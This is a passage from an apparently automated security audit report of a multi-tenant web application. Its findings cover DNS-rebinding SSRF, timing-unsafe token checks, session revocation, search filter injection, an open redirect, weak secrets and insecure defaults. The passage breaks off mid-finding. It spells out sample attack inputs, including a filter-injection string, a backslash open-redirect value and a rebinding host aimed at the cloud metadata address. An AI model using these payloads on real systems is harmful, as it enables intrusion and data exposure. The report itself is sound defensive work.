- **Data flow:** Admin sets EntityWebhook.endpoint (routes/admin/entities/$entity/webhooks/new.tsx action -> createEntityWebhook) -> row create/update fires createRowLog/createManualRowLog (logs.db.server.ts) -> callEntityWebhooks -> resolveWebhookEndpoint -> validateOutboundWebhookUrl (literal-hostname check only) -> local fetchWebhookWithRedirects -> fetchWithTimeout -> raw fetch(currentUrl) with no DNS/resolved-address validation
**Exploit scenario**
An operator with admin.entities.update registers an entity webhook whose endpoint is https://rebind.attacker.com/. validateOutboundWebhookUrl passes because the literal hostname is not localhost, not an IP literal, and does not end in an internal suffix. attacker.com's DNS is configured (or rebinds) to resolve to 169.254.169.254 (cloud metadata) or 127.0.0.1 / an internal RFC1918 service. When a row log triggers the webhook, the server's raw fetch() resolves the name itself and connects to the internal address, POSTing the row's apiFormat body there and recording the response status. This enables reaching the cloud metadata endpoint and internal-only services, and exfiltrating internal responses (status is logged). The hardened sibling helper packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all+verbatim:false) and rejects any resolved private/metadata address; this legacy copy never resolves DNS.
**Evidence**
```
async function fetchWithTimeout(input, init) { ... return await fetch(input, { ...init, redirect: "manual", signal: controller.signal }); } // and validateOutboundWebhookUrl only does isBlockedWebhookHostname(url.hostname) with no DNS resolution
```
**Recommended fix**
Replace this entire local fetchWebhookWithRedirects/validateOutboundWebhookUrl block with the shared apps/web/app/utils/outboundHttp.server.ts (fetchOutboundHttpWithRedirects), which performs per-hop DNS resolution and rejects requests whose resolved A/AAAA records fall in private/loopback/link-local/metadata ranges. Do not maintain a forked guard that omits the resolved-address check.
**Verifier notes**
Traced the full data flow and confirmed the exploit path is open. EntityWebhook.endpoint is stored verbatim from operator form input (webhook-endpoint) in apps/web/app/routes/admin/entities/$entity/webhooks/new.tsx:41-50 and $id.tsx:57-65 with NO URL validation at write time. At delivery time, a row create/update fires createRowLog/createManualRowLog (apps/web/app/utils/db/logs.db.server.ts:210, 246) -> callEntityWebhooks -> fetchLegacyWebhookStatus (entityWebhooks.db.server.ts:123) -> fetchWebhookWithRedirects (:143) -> fetchWithTimeout (:132) -> raw fetch(currentUrl). The only guard, validateOutboundWebhookUrl (:194), calls isBlockedWebhookHostname(url.hostname) (:206) which performs LITERAL-ONLY checks (localhost, IP literals, dotless hosts, internal suffixes). It never resolves DNS. grep for dns.lookup/node:dns/assertOutbound in the legacy file returns no matches. Node's fetch (undici) resolves the hostname itself at connect time, so a benign-looking public hostname (e.g. rebind.attacker.com) that resolves or rebinds to 169.254.169.254 (cloud metadata), 127.0.0.1, or RFC1918 reaches the internal target; the HTTP status is then recorded in entityWebhookLog.status (:109), providing a small response oracle. The redirect chain (resolveOutboundWebhookRedirect :169 -> validateOutboundWebhookUrl) re-validates only the literal hostname, so a 30x redirect to a rebinding host bypasses identically. The hardened canonical sibling packages/foundation/src/outbound-http.ts proves the intended posture: it calls assertOutboundHttpResolvedAddresses (dns.lookup all + verbatim:false) and rejects resolved private/metadata addresses on every hop, and it is already adopted by WorkflowBlockService.ts, apps/worker/src/handlers.ts, and workflow-trigger-native-executor.ts. The legacy entityWebhooks copy is the lone outbound path that forks the guard and omits the resolved-address check.
**Existing mitigations:** The create/update routes are gated by verifyUserHasPermission(request, "admin.entities.update") and validateCSRFToken, so this is a privileged-operator SSRF, not unauthenticated. validateOutboundWebhookUrl blocks IP literals, localhost, and internal suffixes (and a 5-hop redirect cap + manual-redirect handling exist), but it does NOT resolve DNS, so DNS-rebinding / attacker-controlled-resolution hostnames bypass it entirely. No verify-baseline script governs this file (grep found none referencing entityWebhooks/outboundHttp/SSRF). The resolved-address check that would neutralize this exists only in the unused foundation helper, not on this path.
---
## 9. [Low] Non-constant-time comparison of privileged API service token
- **Category:** Timing Side-Channel / Auth | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/api/src/auth.ts:19-22`
- **Data flow:** Authorization: Bearer <token> (or x-api-key / body.apiKey) -> authenticateServiceRequest / authenticateServiceCredentialRequest -> isValidServiceToken(token, config.apiAccessToken) -> token === configuredToken (JS string equality, early-exit, non-constant-time)
**Exploit scenario**
The service token (API_ACCESS_TOKEN) grants a service-principal that bypasses all tenant scoping (authorizeApiScope/resolveApiTenantScope short-circuit to allowed for type 'service-token'). The equality check `token === configuredToken` short-circuits on the first mismatching byte, so its execution time correlates with the length of the matching prefix. A well-positioned attacker (co-located, low-jitter network, or shared host) could in principle recover the token byte-by-byte via statistical timing analysis. Exploitability over the public internet is low due to network jitter, hence Low severity, but the credential is high-value (full cross-tenant service access).
**Evidence**
```
export function isValidServiceToken(token: string, configOrToken) {
const configuredToken = typeof configOrToken === "string" ? configOrToken : configOrToken?.apiAccessToken;
return Boolean(configuredToken && token === configuredToken);
}
```
**Recommended fix**
Compare using crypto.timingSafeEqual on equal-length buffers (hash both sides with SHA-256 first to normalize length and avoid leaking length): e.g. timingSafeEqual(sha256(token), sha256(configuredToken)) guarded by `configuredToken` presence. This matches the constant-time pattern already used for magic-link signatures, CSRF tokens, and recovery codes elsewhere in the codebase.
**Verifier notes**
Independently verified all three claims. (1) Sink is real: apps/api/src/auth.ts:21 `return Boolean(configuredToken && token === configuredToken)` uses JS `===` string equality, which short-circuits on the first mismatching byte (non-constant-time). (2) Attacker input reaches it unauthenticated: it is called from authenticateServiceRequest (auth.ts:33), authenticateServiceCredentialRequest (routes/shared.ts:248), and — critically — the PUBLIC endpoint POST /v1/api-keys/validate (routes/auth-routes.ts:165 and :174), which feeds the attacker-controlled Authorization: Bearer header / x-api-key / body.apiKey straight into isValidServiceToken and returns a distinct success envelope ({active:true,keyType:'service-token'}), giving a directly observable oracle with no prior credential. (3) The credential is high-value: apps/api/src/auth/scope.ts:66-71 (authorizeApiScope) and :108-114 (resolveApiTenantScope) both short-circuit to allowed:true for principal.type==='service-token', bypassing all tenant scoping — full cross-tenant access. No mitigating control exists on this path: no upstream hashing, length normalization, allowlist, or constant-time compare. The codebase otherwise uses crypto.timingSafeEqual for every secret comparison (magic-link, CSRF/session, recovery codes, password reset, webhook signatures, lead/deletion/unsubscribe/invite tokens), and the directly analogous packages/metrics/src/auth.ts validates a bearer service token with timingSafeEqualStrings and explicitly documents 'The comparison is timing-safe.' isValidServiceToken is the sole outlier. The finder's Low severity is appropriate: remote exploitation over the public internet is impractical due to network jitter, but co-located/shared-host/low-jitter attackers are plausible and the credential grants full cross-tenant service access.
**Existing mitigations:** none found — no hashing, length normalization, allowlist, rate limiting on the comparison, or constant-time guard on the isValidServiceToken path; it is the only secret comparison in the repo using raw === instead of crypto.timingSafeEqual (cf. packages/metrics/src/auth.ts timingSafeEqualStrings).
---
## 10. [Low] API session revocation/logout is process-local (in-memory Map) — revoked/refreshed sessions remain valid on other instances and across restarts
- **Category:** Session Management / Insufficient Session Invalidation | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** medium
- **Location:** `apps/api/src/auth/session/session-store.ts:42-121`
- **Data flow:** POST /v1/auth/login -> createApiSession (in-memory Map entry) + jwt.sign({userId,sessionId}, 1h). POST /v1/auth/logout / refresh-token -> revokeApiSession/rotateApiSession mutate the same in-memory Map. The bearer JWT (1h TTL) is the actual credential; getActiveApiSession only consults the local Map.
**Exploit scenario**
On any multi-instance API deployment (load-balanced, the normal production shape), the session Map is per-process. (1) A user logs out on instance A; their still-unexpired JWT continues to authenticate on instances B/C because those processes never saw the revocation — logout does not invalidate the token until its 1h expiry. (2) A process restart drops all session records, so previously-valid refresh/logout state is lost. The 1h JWT lifetime bounds the window, but a stolen token survives an explicit logout, defeating the purpose of session revocation. Confidence is medium because impact depends on the deployment running more than one API process.
**Evidence**
```
export function createApiSessionStore(options = {}) {
const sessions = new Map<string, ApiSessionRecord>();
...
}
export const apiSessionStore = createApiSessionStore();
```
**Recommended fix**
Back the API session store with the shared store (Redis) already used for rate limiting (getSharedStore), or with a DB table, so create/revoke/rotate are visible across all instances and survive restarts. Alternatively maintain a shared revocation/denylist keyed by sessionId and consult it on every authenticated request. Keep JWT TTL short as defense-in-depth.
**Verifier notes**
Independently traced the full flow. apiSessionStore is a process-local in-memory Map: createApiSessionStore() builds `const sessions = new Map(...)` (session-store.ts:43) and is exported as a module-level singleton `apiSessionStore = createApiSessionStore()` (line 121). It is consulted in exactly three places, all in apps/api/src/routes/auth-routes.ts: login createApiSession (line 76, jwt.sign userId+sessionId, 1h TTL), refresh-token getActiveApiSession+rotateApiSession (lines 101/111), logout getActiveApiSession+revokeApiSession (lines 142/147). revokeSession/rotateSession only mutate the local Map (session-store.ts:77-105). No global JWT/session auth middleware exists in app.ts (lines 79/89 are only security headers and CORS; the only app.use guards are metrics/request-id/audit/body-limit/maintenance). I verified every other route family (accounts, entity-row, relationship, workspace, maintenance) authenticates via authenticateServiceCredentialRequest (routes/shared.ts:239) which accepts only a static service token or a stored API key — NOT the user JWT. So the finder's claim that revocation is process-local is correct and reachable: a logout on instance A never propagates to instances B/C (separate Maps), and a process restart clears all records. The concrete open exploit: a stolen or post-logout JWT can hit POST /v1/auth/refresh-token on any instance that didn't observe the revoke; getActiveApiSession there consults only that process's Map, so it returns active and rotateApiSession mints a fresh 1h token — repeatable, defeating explicit logout indefinitely. I refine the finder's impact: the user JWT does not authenticate business/data endpoints on ANY instance (those are service-token/API-key gated), so the practical consequence is unreliable session revocation + indefinite re-minting via refresh-token across instances/restarts, not access to tenant data. That keeps it Low but it is a real, reachable defect, not theoretical.
**Existing mitigations:** Partial mitigations that bound impact but do not neutralize it: (1) JWT TTL is short (1h, auth-routes.ts:77/117), bounding any single token's life, though refresh-token rotation re-arms it. (2) The user JWT session gates only /v1/auth/refresh-token and /v1/auth/logout — no business/data endpoint authenticates via this session (all use authenticateServiceCredentialRequest in routes/shared.ts:239, service token or stored API key), so broken revocation cannot grant tenant-data access. (3) Login rate-limiting exists. No mitigation makes revocation reliable: there is no shared denylist, no DB-backed session, no cross-instance propagation. Notably a shared store (getSharedStore, Redis namespace "api", apps/api/src/shared-store.ts) is already wired for rate-limiting and idempotency and Redis is provisioned in docker-compose.staging.yml — but the session store deliberately uses a raw Map instead.
---
## 11. [Low] Meilisearch filter injection via unescaped KB article language in search filter
- **Category:** Search Filter Injection | **Verdict:** likely | **Fix effort:** trivial | **Finder confidence:** low
- **Location:** `apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:85-88`
- **Data flow:** HTTP URL path segment params.lang (routes help/$slug.($lang).categories.$category and docs/($lang).categories.$category) -> KbRoutes.Category.Api.tsx loader (no allowlist validation, unlike KbRoutes.Index.Api.tsx) -> KnowledgeBaseService.search({params}) -> searchKnowledgeBaseArticles({language: params.lang}) -> options.extraFilters = `language = "${input.language}" AND isPublished = true` -> searchWithFallback -> buildFilter() concatenates extraFilters verbatim into the Meilisearch filter expression -> handle.search(query, {filter})
**Exploit scenario**
An attacker hits /help/<kb-slug>/<lang>/categories/<category>?q=foo. KbRoutes.Index.Api validates params.lang against KnowledgeBaseUtils.supportedLanguages and returns 404 on mismatch, but KbRoutes.Category.Api and KbRoutes.Article.Api do NOT — they pass params.lang straight through. The language string is interpolated UNESCAPED into the Meilisearch filter (the wrapper only escapes tenantId and rowSearch escapes entityId, but kbArticleSearch does neither). A value like `en" OR isPublished = true OR "x` would alter the filter's boolean logic / break tenant- or publish-scoping intent. In practice the Category/Article loaders first call getCategory/getArticle which query getKbCategoryBySlug/getArticle with that language and redirect when nothing matches, so a fully arbitrary payload is rejected unless a stored row already carries that exact language — which is why confidence is low. The escaping omission plus inconsistent allowlist validation is nonetheless a latent injection that becomes directly exploitable if any future caller passes an unvalidated language, or if the upstream getCategory gate is relaxed.
**Evidence**
```
options: input.language
? { extraFilters: `language = "${input.language}" AND isPublished = true` }
: { extraFilters: "isPublished = true" },
```
**Recommended fix**
Escape the language value before interpolation using the same escapeFilterValue helper that rowSearch.server.ts uses (replace backslash and double-quote), or build the filter as a structured array passed to the Meilisearch client rather than a raw string. Additionally, apply the supportedLanguages allowlist check (already present in KbRoutes.Index.Api.tsx) consistently in KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx so an invalid lang returns 404 before reaching the search filter.
**Verifier notes**
The sink is real: kbArticleSearch.server.ts:85-88 interpolates input.language verbatim into extraFilters, and packages/search/src/query.ts buildFilter() (lines 149-158) escapes only tenantId via escapeFilterValue, concatenating extraFilters raw into the Meilisearch filter. The allowlist inconsistency is also real: KbRoutes.Index.Api.tsx:24-26 validates params.lang against KnowledgeBaseUtils.supportedLanguages (only "de"/"en") and returns 404, but KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx pass params.lang straight to KnowledgeBaseService.search (service line 547: language: params.lang || kb.defaultLanguage) with no such check.
However reachability is heavily gated. Both public loaders first call getCategory/getArticle, which query getKbCategoryBySlug / getKbArticleBySlug using Prisma EXACT-equality on language (kbCategories.db.server.ts:104-108, kbArticles.db.server.ts:369-373). If no stored row has language === params.lang the loader redirects (Category) or returns null (Article) BEFORE search runs. So an arbitrary one-shot payload from an anonymous user is rejected. To reach the sink a stored category/article row must carry the exact malicious language string. The admin create routes write language: params.lang! with no allowlist validation (categories.$lang/new.tsx:72, articles.$lang.tsx:91) — note the settings route DOES validate (settings.tsx:125-128), confirming the create routes are the gap. So a user holding admin.kb.create (verifyUserHasPermission, CSRF-protected) could persist a malicious language value, then trigger the public Category/Article loader with the same lang segment to fire the injection.
Impact ceiling is low. buildFilter yields `tenantId = "<escaped>" AND (<injected>)`; the tenantId equality is a top-level AND outside the injectable parenthesized group, so injection cannot bypass tenant scoping — no cross-tenant leak. Worst case is broadening results within the attacker's own tenant (e.g. `en" OR isPublished = true OR "x` surfacing own unpublished articles), and results are then re-fetched from SQL via findKnowledgeBaseArticlesByIds scoped by the same knowledgeBaseSlug + language, further limiting leakage. This is a genuine latent injection / defense-in-depth gap, not a high-impact exploit; it requires admin write privilege to plant the payload and cannot cross tenants.
**Existing mitigations:** tenantId is escaped and ANDed at the top level outside the injectable group (buildFilter, packages/search/src/query.ts:149-158), so the injection cannot bypass tenant isolation. Public loaders gate on getCategory/getArticle which use Prisma exact-equality on language (getKbCategoryBySlug / getKbArticleBySlug), so a non-stored arbitrary language is rejected before the sink. Final results are re-resolved from SQL scoped by knowledgeBaseSlug+language. The settings write route validates language against supportedLanguages. To plant a malicious language a caller needs admin.kb.create permission (verifyUserHasPermission) plus CSRF token. No escaping or allowlist mitigates the create routes (categories.$lang/new.tsx:72, articles.$lang.tsx:91) or the language interpolation itself — those are the open gaps.
---
## 12. [Low] Open redirect via backslash in admin SSO returnTo (sanitizeReturnTo allows '/\evil.com')
- **Category:** Open Redirect | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/auth.admin.callback.tsx:41-46 (also identical sanitizeReturnTo in apps/web/app/routes/auth.admin.login.tsx:14-22)`
- **Data flow:** Attacker crafts /auth/admin/login?returnTo=/\evil.com -> sanitizeReturnTo accepts it (starts with '/', not '//', no control chars; backslash not rejected) -> persisted in signed SSO challenge cookie -> on callback, redirect Location is set to '/\evil.com' -> some browsers normalize '/\' to '//' and navigate off-origin
**Exploit scenario**
An admin is sent a crafted SSO login link with returnTo=/\attacker.example. After completing Authentik SSO, the browser is redirected to /\attacker.example which several browsers treat as a protocol-relative URL to the attacker's site, enabling phishing of the freshly-authenticated admin. Impact is limited to the privileged admin SSO flow and depends on browser URL normalization.
**Evidence**
```
function sanitizeReturnTo(value: string | undefined): string | undefined {
if (!value) return undefined;
if (!value.startsWith("/") || value.startsWith("//")) return undefined;
if (/[\x00-\x1f]/.test(value)) return undefined;
return value;
} // does not reject backslashes; compare the robust safeRedirectPath() which blocks '\\'
```
**Recommended fix**
Reuse the hardened safeRedirectPath() from utils/app/RedirectSafety.server.ts (it rejects backslashes, encoded slashes/CRLF, and protocol-relative) for both admin SSO returnTo functions instead of the weaker local sanitizeReturnTo.
**Verifier notes**
I traced the full data flow and it is open end-to-end. (1) apps/web/app/routes/auth.admin.login.tsx:14-22 reads returnTo from the query string and passes it through sanitizeReturnTo, which accepts "/\evil.com": it starts with "/", does not start with "//", and contains no \x00-\x1f control chars; the backslash is never checked. (2) The value is persisted verbatim into the HMAC-signed challenge cookie via createAdminSsoChallenge({ returnTo }) (state.server.ts:97). (3) On callback, auth.admin.callback.tsx:148 re-runs the same weak sanitizeReturnTo (lines 41-46) on challenge.returnTo, again returning "/\evil.com", then line 150/158 sets redirectTarget = returnTo and passes it to createUserSession. (4) createUserSession (session.server.ts:195-213) calls redirect(redirectTo, ...) which sets the Location header to the value verbatim. No normalization occurs between sanitize and the header: entry.server.tsx handleRequest only handles document renders, not loader redirect responses, so the 302 Location: /\evil.com reaches the browser unmodified. Routes are registered (flat-routes via createRoutesFromFolders in routes.ts; /auth/admin/login and /auth/admin/callback are not in the ignore list). The contrast guard safeRedirectPath() in utils/app/RedirectSafety.server.ts:12-21 explicitly rejects trimmed.includes("\\") (and encoded %5c/%2f/CRLF), proving the team has a hardened helper the SSO flow fails to use. The existing test auth.admin.callback.test.ts:154-183 demonstrates the team intends this surface to block open redirects (it asserts an absolute https URL is dropped to the fallback), but no test covers the backslash case, so it is a genuine coverage gap, not intended behavior. Per WHATWG URL parsing for special schemes, browsers (Chromium, Firefox) treat backslashes as forward slashes, so a Location of /\evil.com resolves to //evil.com -> https://evil.com, navigating the freshly-authenticated admin off-origin. Confidence is high that the path is open; the only browser-dependent element is the final normalization, which is well-documented behavior. Not a test/mock/dead-code path — this is the live privileged admin SSO loader.
**Existing mitigations:** None found. The two sanitizeReturnTo functions are the only validation, and neither rejects backslashes or percent-encoded slashes. The signed challenge cookie protects integrity of the value in transit but the attacker legitimately supplies returnTo via the login URL query param, so the signature does not help. No global Location-header normalization exists in entry.server.tsx or session.server.ts. The hardened safeRedirectPath() exists in the repo but is NOT used by either admin SSO route.
---
## 13. [Low] SESSION_SECRET / CRYPTO_SECRET have no minimum-length or entropy validation at boot
- **Category:** Weak Crypto / Config Hardening | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `packages/config/src/web.ts:83, 150, 325`
- **Data flow:** env.SESSION_SECRET -> present(value) (only trims and rejects empty string) -> webConfig.sessionSecret -> createCookieSessionStorage({ secrets: [sessionSecret] }) in apps/web/app/utils/session.server.ts:132; CRYPTO_SECRET -> SHA-256 -> AES-256-GCM key in CryptoApi.ts
**Exploit scenario**
The env catalog enforces that SESSION_SECRET/CRYPTO_SECRET are present in production, but `present()` accepts ANY non-empty string. An operator could set SESSION_SECRET=changeme (8 weak chars) or reuse a value across SESSION_SECRET and CRYPTO_SECRET. A weak/short session secret reduces the work to brute-force/forge signed session cookies; reusing the same value for both session signing and at-rest credential encryption couples two trust domains. Note: the dedicated token helpers (lead/deletion/unsubscribe) already enforce a 32-byte minimum and throw — but the two most security-critical core secrets do not.
**Evidence**
```
sessionSecret: present(env.SESSION_SECRET),
...
cryptoSecret: present(env.CRYPTO_SECRET),
...
function present(value: string | undefined): string | undefined { /* only trims/empties */ }
```
**Recommended fix**
Add a minimum-length (>=32 chars) and distinctness check for SESSION_SECRET, CRYPTO_SECRET, JWT_SECRET, API_ACCESS_TOKEN in validateEnv/loadWebConfig for production, surfacing them as boot diagnostics (the helpers already do this for LEAD_CONVERSION_SECRET et al, so mirror that pattern). Also warn/fail if SESSION_SECRET === CRYPTO_SECRET.
**Verifier notes**
I independently verified every link in the claimed chain. (1) packages/config/src/web.ts:83 and :150 use present(env.SESSION_SECRET) / present(env.CRYPTO_SECRET); present() (lines 325-328) only trims and rejects empty strings — no length/entropy check. (2) The only other validation, validateEnv (index.ts:131-148), checks presence only (!input[name]); secret-validator.ts validateRequiredSecretString likewise checks presence only. (3) Sink 1 confirmed: apps/web/app/utils/session.server.ts:132 passes webConfig.sessionSecret straight into createCookieSessionStorage({ secrets: [...] }), so a weak secret weakens signed-cookie HMAC resistance. (4) Sink 2 confirmed: CryptoApi.ts:6-12 reads CRYPTO_SECRET directly from process.env, runs SHA-256 over it, and uses the digest as the AES-256-GCM key for stored workflow credentials — a low-entropy passphrase yields a brute-forceable at-rest key. (5) The finder's central claim — that the secondary token helpers DO enforce a minimum while the core secrets do not — is accurate: leadToken.server.ts:63-75 enforces MIN_SECRET_BYTES=32 (fail-closed) and dsgvo/deletionToken.server.ts:64-68 enforces MIN_SECRET_LENGTH=32, while SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN (all requiredInProduction:true, kind secret/token in catalog.ts) get no such gate. No distinctness check exists either, so SESSION_SECRET === CRYPTO_SECRET passes silently, coupling the cookie-signing and credential-encryption trust domains. This is a genuine, accurately-described config-hardening gap. It is NOT directly attacker-triggerable over HTTP — exploitation requires an operator to set a weak/short secret or reuse one value across both — so it is correctly rated Low (defense-in-depth), matching the finder's claim.
**Existing mitigations:** None found that addresses secret strength. validateEnv and present() enforce presence only. secret-validator.ts validateRequiredSecretString enforces presence only. scripts/verify-secrets.mjs is a source-tree hardcoded-secret scanner (regex over committed files), not a runtime/boot env-strength validator. No catalog minLength field, no boot diagnostic, and no verify script (checked verify-deploy-readiness.mjs, check-env-drift.mjs, verify-secrets.mjs) enforces a minimum length or distinctness on SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN. The 32-byte minimums in leadToken.server.ts and deletionToken.server.ts apply only to LEAD_CONVERSION_SECRET/deletion secrets, not the core secrets.
---
## 14. [Low] docker-compose ships a known default Meilisearch master key (devkey)
- **Category:** Hardcoded Secret / Insecure Default | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `docker-compose.yml:182`
- **Data flow:** docker-compose env MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey} -> meilisearch container; web reads process.env.MEILI_MASTER_KEY ?? undefined (crmContactSearch/rowSearch/kbArticleSearch .server.ts) to authenticate to the search engine
**Exploit scenario**
If an operator runs this compose file (or copies its pattern) without overriding MEILI_MASTER_KEY, Meilisearch boots with the publicly-known key `devkey`. Anyone who can reach port 7700 (mapped to the host as 7700:7700) can use the known master key to read/modify all tenant search indexes, which contain CRM contacts, rows, and knowledge-base content across tenants. The file documents this is dev-only and the .env.example mirrors `devkey`, so the failure mode is purely operator-misconfiguration, but the host port mapping makes an accidental exposure reachable. .env.example also ships MEILI_MASTER_KEY=devkey as the literal default.
**Evidence**
```
- MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey}
...
ports:
- "7700:7700"
```
**Recommended fix**
Do not bind 7700 to the host in the base compose (use an internal network like pgbouncer does), and either require MEILI_MASTER_KEY with no default (fail to start if unset) or generate a random key. At minimum add a production guard that refuses to start search if MEILI_MASTER_KEY==="devkey" while NODE_ENV!=development.
**Verifier notes**
The reported facts check out exactly. docker-compose.yml:182 sets `MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey}` and lines 185-186 map `"7700:7700"` to the host (binds 0.0.0.0 by default). The web search services authenticate using this key: apps/web/app/modules/crm/services/crmContactSearch.server.ts:34, apps/web/app/modules/rows/services/rowSearch.server.ts:33, and apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:34 all call `createSearchClient({ url, apiKey: process.env.MEILI_MASTER_KEY ?? undefined })`. packages/search/src/client.ts passes apiKey straight to `new MeiliSearch(...)`, so `devkey` is the live auth credential. The Meilisearch master key is the sole auth boundary (docs/deploy/meilisearch.md:16: "if the port is open, the index is open"), and `MEILI_ENV` defaults to `development` (line 183) which also leaves the unauthenticated dashboard enabled.
I actively hunted for a mitigating guard and found NONE that neutralizes this. packages/config/src/secret-validator.ts only validates presence/URL-shape; MEILI_MASTER_KEY is classified `optional-provider` (catalog.ts:1931) and flows through validateOptionalSecretString with zero value-content check — it never rejects `devkey`. scripts/verify-secrets.mjs is a secret-SHAPE scanner: it skips any line containing `${...}` (line 96), so the compose line is never examined, and `devkey` is a 6-char low-entropy string matching none of its high-entropy/prefix patterns; .env.example is allowlisted regardless. So no runtime startup guard and no CI gate refuses the dev key.
The one real counterweight is the production deployment guidance (docs/deploy/meilisearch.md) and the staging compose: the Coolify/Scaleway/Fly snippets correctly use `MEILI_MASTER_KEY=${MEILI_MASTER_KEY}` (no default, fail-if-unset), set `MEILI_ENV=production`, and deliberately do NOT map 7700 to the host (internal `backend` network only). docker-compose.staging.yml ships no Meilisearch service at all. So the canonical production path is hardened, and the base file is documented as dev-only. The vulnerability is therefore an operator-misconfiguration / insecure-default + unnecessary host-port-binding combination, not an unconditional break — which matches the finder's own Low rating. It is still a legitimate hardening gap: the base compose contradicts its own pgbouncer precedent (pgbouncer:17-18 deliberately omits `ports:` "Public-facing 6432 would expose the pool to the open internet"), yet Meilisearch — holding cross-tenant CRM/rows/KB content behind a single known key — is bound to 0.0.0.0:7700.
**Existing mitigations:** Partial, doc-level only: docs/deploy/meilisearch.md and the Coolify/Scaleway/Fly snippets give a hardened production recipe (no default key, MEILI_ENV=production, no host port, internal network) and explicitly warn never to expose 7700. docker-compose.staging.yml omits Meilisearch entirely. These prevent the issue on the documented production path but are advisory — nothing in code or CI enforces them. No runtime guard (secret-validator.ts ignores value content) and no CI gate (verify-secrets.mjs skips ${...} lines and low-entropy strings) rejects MEILI_MASTER_KEY=devkey.
---
## 15. [Low] API_KEY_LEGACY_PLAINTEXT_FALLBACK defaults to true in base .env.example
- **Category:** Insecure Default / Config Exposure | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `.env.example:42`
- **Data flow:** env.API_KEY_LEGACY_PLAINTEXT_FALLBACK -> packages/config/src/api.ts:90 parseBooleanFlag(..., false) -> findLegacyApiKeyByKey options.allowPlaintextFallback -> when true, falls back to a plaintext `key` column equality lookup if the hashed lookup misses
**Exploit scenario**
The base .env.example ships API_KEY_LEGACY_PLAINTEXT_FALLBACK=true (the production example correctly sets it to false). An operator who copies .env.example to bootstrap a deployment keeps the plaintext-comparison fallback enabled, meaning API keys are matched by a direct DB equality on a plaintext column rather than only by the keyed hash — defeating the hardening that the keyHash migration introduced and re-exposing keys to DB-read/SQL-injection compromise. The default in the parser is safe (false), but the documented example template biases operators toward the insecure setting.
**Evidence**
```
# Temporary cutover switch for plaintext API-key lookup. Keep `true` during the hash-metadata
# backfill window, then set `false` once the backfill is verified...
API_KEY_LEGACY_PLAINTEXT_FALLBACK=true
```
**Recommended fix**
Flip the base .env.example default to false (matching .env.production.example) and keep the true value only as a commented note for the one-time backfill window, so a fresh copy of the template is secure-by-default.
**Verifier notes**
I independently verified every link in the claimed chain. (1) .env.example:42 literally ships `API_KEY_LEGACY_PLAINTEXT_FALLBACK=true`, while .env.production.example:19 ships `=false` — the discrepancy is real. (2) packages/config/src/api.ts:90 parses it with `parseBooleanFlag(env.API_KEY_LEGACY_PLAINTEXT_FALLBACK, false)` and exposes it as `config.apiKeys.allowLegacyPlaintextFallback`; there is NO production-side override (loadApiConfig uses the env value as-is regardless of NODE_ENV). (3) The flag flows into `findLegacyApiKeyByKey(..., { allowPlaintextFallback })` from real, unauthenticated-reachable API key auth paths: apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29, and apps/web/app/utils/services/apiService.ts:94. (4) The sink at packages/db/src/api-keys.server.ts:776-788 confirms the dangerous behavior: when allowPlaintextFallback is true and the keyed-hash lookup misses, it performs a direct plaintext-column equality `client.apiKey.findFirst({ where: { key } })`, defeating the keyHash hardening. So an operator who bootstraps from the base template keeps the plaintext-comparison fallback enabled, re-exposing keys to DB-read/SQLi compromise. This is a genuine secure-by-default-template defect, not a grep artifact. It is correctly scoped Low: the parser default is safe when the var is absent, the production template (the one operators are directed to for prod) is correct, the inline comment documents it as a temporary cutover switch, and re-exposure of keys requires a secondary DB-read/SQLi compromise rather than being directly leakable.
**Existing mitigations:** Partial mitigations exist but none neutralize the template-default smell: (a) parseBooleanFlag defaults to false when the variable is absent (api.ts:90,101-116); (b) .env.production.example:19 correctly ships false and the catalog marks it production-only with defaultValue "false" (catalog.ts:136-144); (c) an inline comment at .env.example:39-41 warns it is a temporary backfill-window switch. However, the base .env.example still ships the explicit `=true`, there is no runtime NODE_ENV guard forcing it off in production, and exploitation of the resulting plaintext lookup additionally requires DB-read or SQL-injection access.
---
## 16. [Low] Public anti-spam rate limiters fail-open on shared-store (Redis) errors, allowing lead/form-submission flooding
- **Category:** Rate Limiting / Abuse | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/api.leads.capture.tsx:203-209 (also api.embed.forms.$formKey.submit.tsx:274-278)`
- **Data flow:** attacker HTTP POST -> getSharedStore() throws/blips -> catch block logs and continues -> captureLead()/formSubmission.create() persists unbounded rows
**Exploit scenario**
Both unauthenticated public write endpoints wrap their sliding-window rate-limit checks in try/catch and explicitly 'fail-open' on infra error, continuing to persist. An attacker who can degrade the shared store (or simply submit during a Redis outage) can bypass the 5/min-per-IP and 10/min-per-IP caps entirely and flood LeadEvent / FormSubmission tables and the form.submission.process outbox, causing DB bloat and downstream worker/CRM/webhook fan-out load. The Origin allowlist in front is acknowledged in-code as spoofable by non-browser clients, so it does not compensate.
**Evidence**
```
} catch (err) {
// Fail-open on infra error — better than dropping legitimate captures.
log.warn({ op: "rate-limit.error", ... }, "Rate-limit check failed; continuing");
}
```
**Recommended fix**
For unauthenticated public write endpoints, fail-closed (return 429/503) when the rate-limit store is unavailable, mirroring the production fail-closed branch already used by api.tenants.$tenant.plugins.tsx (shouldFailClosedOnRateLimitInfraFailure). At minimum gate fail-open behind NODE_ENV !== 'production'.
**Verifier notes**
